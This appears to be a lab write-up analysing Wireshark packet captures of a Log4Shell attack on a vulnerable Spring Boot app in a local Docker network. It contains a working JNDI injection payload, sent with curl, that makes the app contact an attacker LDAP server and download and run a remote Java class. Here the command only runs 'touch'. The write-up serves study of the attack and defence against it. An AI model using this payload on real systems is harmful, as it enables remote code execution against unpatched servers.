

In HIS name

Network Analysis of the log4shell Attack

SVA

Ali Sheikh Attar

After setting up the vulnerable app our malicious ldap and http server on docker network *log4jnetwork*, We inspect the network using following command for correspondings addresses:

```
docker network inspect log4jnetwork
```

```
[
  {
    "Name": "log4jnetwork",
    "Id": "91644b906b0d8c02595ac3e3f932c3b3b5c7184c6d4db0d1ca8d9c42be014166",
    "Created": "2024-10-16T10:37:11.919032085+03:30",
    "Scope": "local",
    "Driver": "bridge",
    "EnableIPv6": false,
    "IPAM": {
      "Driver": "default",
      "Options": {},
      "Config": [
        {
          "Subnet": "172.18.0.0/16",
          "Gateway": "172.18.0.1"
        }
      ]
    },
    "Internal": false,
    "Attachable": false,
    "Ingress": false,
    "ConfigFrom": {
      "Network": ""
    },
    "ConfigOnly": false,
    "Containers": {
      "5cc1e30b67d3ac755d7e9e9865c8abd0fd133315bd7965f25537ffeb73a558df": {
        "Name": "vulnerable-app",
        "EndpointID": "4248ed0668a822317551f0cca9bb208bea267e117b5a868af2231845724177de",
        "MacAddress": "02:42:ac:12:00:02",
        "IPv4Address": "172.18.0.2/16",
        "IPv6Address": ""
      },
      "8e8be196c7a0657e9f57cfa4f29bdd14c68b5c64f40487f3985f9ff14b2be715": {
        "Name": "log4jldapserver",
        "EndpointID": "4a37ec382957f1dc0c27539e32f0e5365b7b006cfeedd079de9275230cddd041",
        "MacAddress": "02:42:ac:12:00:03",
        "IPv4Address": "172.18.0.3/16",
        "IPv6Address": ""
      }
    },
    "Options": {},
    "Labels": {}
  }
]
```

As we can see the address of gateway, app and ldapserver are 172.18.0.1, 172.18.0.2 and 172.18.0.3.

The id of the network is **91644b906b0d** so we capture packets on br91644b906b0d in wireshark.

We request the gateway with an http header field filled with malicious jndi string

```
curl 127.0.0.1:8080 -H 'X-Api-Version:
${jndi:ldap://log4jldapserver:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9DeWdlbnRhRGVtbw==
}'
```

1. In the captures first two lines are arps for mac address of vulnerable app requested by gateway:

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	02:42:1f:3c:55:a8	Broadcast	ARP	42	Who has 172.18.0.2? Tell 172.18.0.1
2	0.000039740	02:42:ac:12:00:02	02:42:1f:3c:55:a8	ARP	42	172.18.0.2 is at 02:42:ac:12:00:02

2. After configuring the mac address of app, a three-way tcp handshake begins between gateway and app and a tcp connection initiates

3	0.000058275	172.18.0.1	172.18.0.2	TCP	74	39720 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=
4	0.000094259	172.18.0.2	172.18.0.1	TCP	74	8080 → 39720 [SYN, ACK] Seq=0 Ack=1 Win=65160
5	0.000118508	172.18.0.1	172.18.0.2	TCP	66	39720 → 8080 [ACK] Seq=1 Ack=1 Win=64256 Len=0

3. After tcp connection initiated, gateway forward the http request to app

6	0.000352528	172.18.0.1	172.18.0.2	HTTP	250	GET / HTTP/1.1
---	-------------	------------	------------	------	-----	----------------

▶ Frame 6: 250 bytes on wire (2000 bits), 250 bytes captured (2000 bits) on interface br-91644b906b0d, id 0
 ▶ Ethernet II, Src: 02:42:1f:3c:55:a8 (02:42:1f:3c:55:a8), Dst: 02:42:ac:12:00:02 (02:42:ac:12:00:02)
 ▶ Internet Protocol Version 4, Src: 172.18.0.1, Dst: 172.18.0.2
 ▶ Transmission Control Protocol, Src Port: 39720, Dst Port: 8080, Seq: 1, Ack: 1, Len: 184
 ▶ Hypertext Transfer Protocol
 ▶ GET / HTTP/1.1\r\n
 Host: 127.0.0.1:8080\r\n
 User-Agent: curl/7.81.0\r\n
 Accept: */*\r\n
 X-Api-Version: \${jndi:ldap://log4jldapserver:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9DeWdlbnRhRGVtbw==}\r\n
 \r\n
 [Response in frame: 36]
 [Full request URI: http://127.0.0.1:8080/]

4. From there the jndi lookup triggers and the ldap request is being carried
 - an arp request is initiated for mac address of the ldapserver from vulnerable app

8	0.114593464	02:42:ac:12:00:02	Broadcast	ARP	42	Who has 172.18.0.3? Tell 172.18.0.2
9	0.114617748	02:42:ac:12:00:03	02:42:ac:12:00:02	ARP	42	172.18.0.3 is at 02:42:ac:12:00:03

5. Now a three-way handshake is made between app and ldapserver

Note that we configure the ldap port on 1389 (default port)

10	0.114623601	172.18.0.2	172.18.0.3	TCP	74	46558 → 1389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
11	0.114639313	172.18.0.3	172.18.0.2	TCP	74	1389 → 46558 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0
12	0.114648930	172.18.0.2	172.18.0.3	TCP	66	46558 → 1389 [ACK] Seq=1 Ack=1 Win=64256 Len=0

they are communicating over the tcp connection

13	0.116520414	172.18.0.2	172.18.0.3	TCP	80	46558 → 1389 [PSH, ACK] Seq=1 Ack=1 Win=6515
14	0.116529990	172.18.0.3	172.18.0.2	TCP	66	1389 → 46558 [ACK] Seq=1 Ack=15 Win=6515
15	0.132307099	172.18.0.3	172.18.0.2	TCP	80	1389 → 46558 [PSH, ACK] Seq=1 Ack=15 Win=6515
16	0.132330906	172.18.0.2	172.18.0.3	TCP	66	46558 → 1389 [ACK] Seq=15 Ack=15 Win=642
17	0.134413576	172.18.0.2	172.18.0.3	TCP	187	46558 → 1389 [PSH, ACK] Seq=15 Ack=15 Win=642
18	0.175481154	172.18.0.3	172.18.0.2	TCP	66	1389 → 46558 [ACK] Seq=15 Ack=136 Win=65
19	0.188103843	172.18.0.3	172.18.0.2	TCP	279	1389 → 46558 [PSH, ACK] Seq=15 Ack=136 Win=6515
20	0.188192624	172.18.0.3	172.18.0.2	TCP	80	1389 → 46558 [PSH, ACK] Seq=228 Ack=136 Win=6515
21	0.188235047	172.18.0.2	172.18.0.3	TCP	66	46558 → 1389 [ACK] Seq=136 Ack=242 Win=6515

6. Now a 3-way handshake is made between app and httpserver(attacker)

Note that we configure the http server on port 8888.

22	0.205757192	172.18.0.2	172.18.0.3	TCP	74	52912 → 8888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
23	0.205773698	172.18.0.3	172.18.0.2	TCP	74	8888 → 52912 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0
24	0.205783446	172.18.0.2	172.18.0.3	TCP	66	52912 → 8888 [ACK] Seq=1 Ack=1 Win=64256 Len=0

7. From there a GET request is made from the app to the httpserver to retrieve the file

```
25 0.206594469 172.18.0.2 172.18.0.3 HTTP 249 GET /ExploitrxLUaQXkDC.class HTTP/1.1
> Frame 25: 249 bytes on wire (1992 bits), 249 bytes captured (1992 bits) on interface br-91644b906b0d, id 0
> Ethernet II, Src: 02:42:ac:12:00:02 (02:42:ac:12:00:02), Dst: 02:42:ac:12:00:03 (02:42:ac:12:00:03)
> Internet Protocol Version 4, Src: 172.18.0.2, Dst: 172.18.0.3
> Transmission Control Protocol, Src Port: 52912, Dst Port: 8888, Seq: 1, Ack: 1, Len: 183
> Hypertext Transfer Protocol
  > GET /ExploitrxLUaQXkDC.class HTTP/1.1\r\n
  User-Agent: Java/1.8.0_181\r\n
  Host: log4jldapserver:8888\r\n
  Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n
  Connection: keep-alive\r\n
  \r\n
  [Response in frame: 29]
  [Full request URI: http://log4jldapserver:8888/ExploitrxLUaQXkDC.class]
```

As we see, it's used for retrieving the ExploitrxLUaQXDC class.

After that data transfer begins (we can acknowledge that by observing the [TCP PDU reassembled in 29] and [PSH, ACK] indicating that the server pushing data (http response) to the client).

```
26 0.206602125 172.18.0.3 172.18.0.2 TCP 66 8888 -> 52912 [ACK] Seq=1 Ack=184 Win=65024 Len=0 TSval=1903004805 TSecr=1952390097
27 0.219142989 172.18.0.3 172.18.0.2 TCP 144 8888 -> 52912 [PSH, ACK] Seq=1 Ack=184 Win=65024 Len=78 TSval=1903004817 TSecr=1952390097 [TCP PDU reassembled in 29]
28 0.219193941 172.18.0.2 172.18.0.3 TCP 66 52912 -> 8888 [ACK] Seq=184 Ack=79 Win=64256 Len=0 TSval=1952390109 TSecr=1903004817
```

After the complete transfer the data, the server responds with the HTTP 200 OK, indicating that the request was successfully processed.

```
29 0.219281713 172.18.0.3 172.18.0.2 HTTP 1287 HTTP/1.1 200 OK
> Frame 29: 1287 bytes on wire (10296 bits), 1287 bytes captured (10296 bits) on interface br-91644b906b0d, id 0
> Ethernet II, Src: 02:42:ac:12:00:03 (02:42:ac:12:00:03), Dst: 02:42:ac:12:00:02 (02:42:ac:12:00:02)
> Internet Protocol Version 4, Src: 172.18.0.3, Dst: 172.18.0.2
> Transmission Control Protocol, Src Port: 8888, Dst Port: 52912, Seq: 79, Ack: 184, Len: 1221
> [2 Reassembled TCP Segments (1299 bytes): #27(78), #29(1221)]
> Hypertext Transfer Protocol
  > HTTP/1.1 200 OK\r\n
  Date: Wed, 23 Oct 2024 04:50:52 GMT\r\n
  Content-Length: 1221\r\n
  \r\n
  [Request in frame: 25]
  [Time since request: 0.012607244 seconds]
  [Request URI: /ExploitrxLUaQXkDC.class]
  [Full request URI: http://log4jldapserver:8888/ExploitrxLUaQXkDC.class]
  File Data: 1221 bytes
  > Data (1221 bytes)
    Data [...]: cafefab0000003200300100114578706c6f697472784c556151506b444307001010040636f6d2f73756e2f6726726f170616368652f78616c6e2f696e7465726e616c2f78736c74632f72756e74696d652f4162737472616c
    [Length: 1221]
```

We can see that the http server really fetches the data at the `/ExploitrxLUaQXkDC.class`

This termination followed by an ack from the app

```
30 0.219475607 172.18.0.2 172.18.0.3 TCP 66 52912 -> 8888 [ACK] Seq=184 Ack=1300 Win=64128
```

Now a connection (most likely a data transfer) is being occurred between app and ldap

This header asks the vulnerable server to connect to the LDAP server

`log4jldapserver:1389` to execute the payload, which decodes into the command `touch /tmp/CygentaDemo`.

```
30 0.219475607 172.18.0.2 172.18.0.3 TCP 66 52912 -> 8888 [ACK] Seq=184 Ack=1300 Win=64128 Len=0 TSval=1952390109 TSecr=1903004817
31 0.233897740 172.18.0.2 172.18.0.3 TCP 102 46558 -> 1389 [PSH, ACK] Seq=136 Ack=242 Win=64128 Len=36 TSval=1952390124 TSecr=1903004786
32 0.233913973 172.18.0.3 172.18.0.2 TCP 66 1389 -> 46558 [ACK] Seq=242 Ack=172 Win=65152 Len=0 TSval=1903004832 TSecr=1952390124
```

After that the tcp connection terminates between app and ldap

```
33 0.234028630 172.18.0.2 172.18.0.3 TCP 66 46558 -> 1389 [FIN, ACK] Seq=172 Ack=242 Win=64128
34 0.234714648 172.18.0.3 172.18.0.2 TCP 66 1389 -> 46558 [FIN, ACK] Seq=242 Ack=173 Win=65152
35 0.234736774 172.18.0.2 172.18.0.3 TCP 66 46558 -> 1389 [ACK] Seq=173 Ack=243 Win=64128 Len=0
```

Now a http response is made from app to gateway

```
36 0.259971596 172.18.0.2 172.18.0.1 HTTP 193 HTTP/1.1 200 (text/plain)
```

```

Frame 36: 193 bytes on wire (1544 bits), 193 bytes captured (1544 bits) on interface br-91644b906b0d, id
Ethernet II, Src: 02:42:ac:12:00:02 (02:42:ac:12:00:02), Dst: 02:42:1f:3c:55:a8 (02:42:1f:3c:55:a8)
Internet Protocol Version 4, Src: 172.18.0.2, Dst: 172.18.0.1
Transmission Control Protocol, Src Port: 8080, Dst Port: 39720, Seq: 1, Ack: 185, Len: 127
Hypertext Transfer Protocol
  HTTP/1.1 200 \r\n
  Content-Type: text/plain;charset=UTF-8\r\n
  Content-Length: 13\r\n
  Date: Wed, 23 Oct 2024 04:50:52 GMT\r\n
  \r\n
  [Request in frame: 6]
  [Time since request: 0.259619068 seconds]
  [Request URI: /]
  [Full request URI: http://127.0.0.1:8080/]
  File Data: 13 bytes
Line-based text data: text/plain (1 lines)
Hello, world!

```

Which contains the string *Hello, world!* As we can confirm it by observing it in the terminal

```

asa@ASA-Asus:~$ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://log4jldapse
rver:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9DeWd1bnRhRGVtbw==}'
Hello, world!asadocker network inspect log4jnetwork ^C

```

Now gateway closes its tcp session with app

37	0.259991643	172.18.0.1	172.18.0.2	TCP	66 39720 → 8080 [ACK] Seq=185
38	0.260231107	172.18.0.1	172.18.0.2	TCP	66 39720 → 8080 [FIN, ACK] Seq=
39	0.261482934	172.18.0.2	172.18.0.1	TCP	66 8080 → 39720 [FIN, ACK] Seq=
40	0.261491663	172.18.0.1	172.18.0.2	TCP	66 39720 → 8080 [ACK] Seq=186

Rest is just some DNS request which seems normal

41	5.260429806	02:42:ac:12:00:03	02:42:ac:12:00:02	ARP	42 Who has 172.18.0.2? Tell 172.18.0.3
42	5.260480874	02:42:ac:12:00:02	02:42:ac:12:00:03	ARP	42 172.18.0.2 is at 02:42:ac:12:00:02
43	7.977065921	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	102 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
44	7.977098919	172.18.0.1	224.0.0.251	MDNS	82 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
45	10.228046779	172.18.0.2	172.18.0.3	TCP	66 52912 → 8080 [FIN, ACK] Seq=184 Ack=1300 Win=64128 Len=0 TSval=1952400118
46	10.228028084	172.18.0.3	172.18.0.2	TCP	66 8080 → 52912 [FIN, ACK] Seq=1300 Ack=185 Win=65024 Len=0 TSval=1903014827
47	10.228098179	172.18.0.2	172.18.0.3	TCP	66 52912 → 8080 [ACK] Seq=185 Ack=1301 Win=64128 Len=0 TSval=1952400119
48	40.479415631	172.18.0.1	224.0.0.251	MDNS	87 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.l
49	46.673876828	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	107 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.l
50	135.987809520	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	102 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
51	135.987841349	172.18.0.1	224.0.0.251	MDNS	82 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
52	304.618244688	172.18.0.1	172.18.255.255	NBNS	92 Name query NB WORKGROUP<1d>
53	304.608998680	172.18.0.1	172.18.255.255	NBNS	92 Name query NB WORKGROUP<1b>
54	305.164759907	172.18.0.1	172.18.255.255	NBNS	92 Name query NB WORKGROUP<20>
55	305.539834342	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
56	305.539856104	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
57	306.541292945	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
58	306.541309609	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
59	308.543664820	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
60	308.543708737	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
61	312.544570966	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
62	312.544615124	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
63	320.550116962	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
64	320.550160224	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
65	336.552399668	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
66	336.552448593	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
67	352.675231411	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	107 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.l
68	368.552968337	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
69	368.553817449	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
70	391.999017163	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	102 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
71	391.999044686	172.18.0.1	224.0.0.251	MDNS	82 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
72	432.562286502	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
73	432.562339935	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
74	560.649465269	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
75	560.649508874	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
76	816.669745266	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
77	816.669795786	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
78	864.723210168	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	107 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.l
79	904.009936208	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	102 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
80	904.009971514	172.18.0.1	224.0.0.251	MDNS	82 Standard query 0x0000 PTR _pgpkey-hkp._tcp.local, "QM" question
81	1064.480207973	172.18.0.1	224.0.0.251	MDNS	87 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.l
82	1328.699637773	fe80::42:1fff:fe3c:55a8	ff02::fb	MDNS	180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo
83	1328.699685653	172.18.0.1	224.0.0.251	MDNS	160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.lo

processes

```

#2 ps -ef
PID USER TIME COMMAND
570966 1 root 0:09 java -jar /app/spring-boot-application.jar
615124 75 root 0:00 /bin/sh
82 root 0:00 ps -ef

```